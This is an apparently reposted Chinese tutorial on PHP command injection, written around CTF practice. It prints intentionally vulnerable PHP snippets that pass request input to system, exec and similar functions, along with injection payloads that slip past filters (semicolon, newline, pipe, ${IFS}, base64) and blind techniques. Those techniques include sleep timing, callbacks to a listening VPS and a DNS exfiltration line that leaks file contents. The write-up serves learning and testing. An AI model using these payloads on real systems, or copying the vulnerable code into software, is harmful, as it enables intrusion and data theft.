命令执行漏洞整理

admin 2021年5月6日19:13:01评论59 views字数 1583阅读5分16秒阅读模式

命令执行漏洞的成因是,由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并提交服务器执行。

文章较基础 哪里有问题还请大佬们指点出来。感谢、感谢。

命令执行相关函数

system

<?php
$c = $_GET['c'];
system($c);
?

命令执行漏洞整理
c变量是可控的 这就造成了命令执行。system执行后结果会返回到页面。

passthru

和system函数类似

<?php
highlight_file(__FILE__);
$c = $_GET['c'];
passthru($c);
?>

exec

exec也可造成命令执行 但和前两个函数不同的是他不会直接将结果返回到页面 需要打印。

string exec (string command, array &output, int &return_var)

command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值

命令执行漏洞整理

打印$b的目的是获取每一行字符串。

shell_exec

<?php
$c = $_GET['c'];
var_dump(shell_exec($c));
?>

本身也是不可以回显需要打印。

反引号造成的命令执行

另外补充一点就是 如果可控变量在反引号内 那么也可造成命令执行。只不过一般项目里会肥肠少见。。。

<?php
$c = $_GET['c'];
var_dump(`$c`);
?>

命令执行的绕过

规定执行代码

例如有这样一种情况

<?php
highlight_file(__FILE__);
$c = $_GET['c'];
$rce = "echo hello";
system($rce.$c);
?>

命令执行漏洞整理
这里绕过方法不止一种
c=1%0awhoami 换行绕过
c=1;whoami 利用分号绕过
c=1|whoami 管道符绕过

过滤空格

有些时候 我们执行命令 如 cat flag.txt 中间必须要有空格才可打开此文件读到内容。
但是如果空格被过滤我们就应该用一些字符来替代空格

< 可替代空格
${IFS} 可替代空格
%09 (url传递可替代空格)

命令执行漏洞整理

关键字过滤绕过

记得年底的时候貌似做过一道命令执行相关的ctf过滤了关键字

这里题目记不太清了 简单写个思路

a=l;b=s;$a$b //大家都知道。。。
//利用base64加密解密
`echo d2hvYW1p|base64 -d`//linux下执行输出whoami命令 注意加反引号

命令执行漏洞整理

无回显命令执行

无回显情况如何判断 命令是否执行?
延时
http请求
dns请求

命令执行漏洞整理

例如这种 没有打印次函数不会显示结果的。那么我们如何去判断 有没有带入命令呢 这时候我们来加一个延时 思路有点类似于盲注?

命令执行漏洞整理

管道符加sleep可以明显感觉到 网页刷新慢了三秒钟 即可判断存在无回显命令执行。

如果是可通讯状态下 可以利用这个点发起一个http请求到自己的vps 然后vps进行监听

nc -lv 8080
收到请求则证明存在命令执行。

dnslog

请求内容换成 从服务器读取的数据 之后可以看到从dnslog上看到请求结果

命令执行漏洞整理

你可能会问 为什么不直接flag.txt……..

害 当时尿急 着急写错了 只是个例子 看看思路吧

命令执行漏洞整理

ping的话发送的是dns请求那么dnslog肯定是可以用的

命令执行漏洞整理

请求内容里不能包含空格 我们在请求dnslog的时候应该替换一下

ping aaa bbb.dns.log 因为这样是不可以ping的 地址不应该包含空格
这里将空格替换成666

``cat flag.txt|sed s/[[:space:]]/666/`.test.dnslog.link

```

命令执行漏洞整理

访问一下拿到了flag。

相关推荐: dll劫持之VEH硬件断点过crc校验

开篇提示 笔者水平一般文章内容也比较浅显,如有错误欢迎指出 Crc反调试原理很简单,简单来说就是开启一个线程,在这个线程中不断地对内存中代码段的数据进行校验,如果校验时值发生了改变直接调用退出之类的函数关闭程序。 如何干掉crc校验? 直接停掉crc线程 调用…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月6日19:13:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   命令执行漏洞整理http://cn-sec.com/archives/246466.html